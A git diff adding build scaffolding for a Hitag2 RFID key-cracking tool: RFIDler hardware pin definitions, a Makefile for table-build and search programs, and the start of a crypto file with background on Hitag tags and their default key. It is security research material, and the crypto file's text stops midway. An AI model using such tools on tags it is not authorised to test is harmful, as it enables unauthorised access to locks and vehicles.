diff --git a/tools/hitag2crack/crack2/.gitignore b/tools/hitag2crack/crack2/.gitignore new file mode 100644 index 000000000..71494d126 --- /dev/null +++ b/tools/hitag2crack/crack2/.gitignore @@ -0,0 +1,7 @@ +ht2crack2buildtable +ht2crack2search +ht2crack2gentest + +ht2crack2buildtable.exe +ht2crack2search.exe +ht2crack2gentest.exe diff --git a/tools/hitag2crack/crack2/HardwareProfile.h b/tools/hitag2crack/crack2/HardwareProfile.h new file mode 100644 index 000000000..a2f804be6 --- /dev/null +++ b/tools/hitag2crack/crack2/HardwareProfile.h @@ -0,0 +1,524 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack2/Makefile b/tools/hitag2crack/crack2/Makefile new file mode 100644 index 000000000..3ec604530 --- /dev/null +++ b/tools/hitag2crack/crack2/Makefile @@ -0,0 +1,26 @@ +WARN=-Wall +INCLUDE=-I../include +CFLAGS=-c $(WARN) $(INCLUDE) +# Linux libs +LIBS=-pthread -D_GNU_SOURCE +# Mac libs +# LIBS= + +all: ht2crack2buildtable.c ht2crack2search.c ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o + cc $(WARN) -o ht2crack2buildtable ht2crack2buildtable.c hitagcrypto.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2search ht2crack2search.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + cc $(WARN) -o ht2crack2gentest ht2crack2gentest.c hitagcrypto.o utilpart.o ht2crack2utils.o $(LIBS) + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +clean: + rm -rf *.o ht2crack2buildtable ht2crack2search ht2crack2gentest + +fresh: clean all diff --git a/tools/hitag2crack/crack2/hitagcrypto.c b/tools/hitag2crack/crack2/hitagcrypto.c new file mode 100644 index 000000000..2334f8288 --- /dev/null +++ b/tools/hitag2crack/crack2/hitagcrypto.c @@ -0,0 +1,487 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as 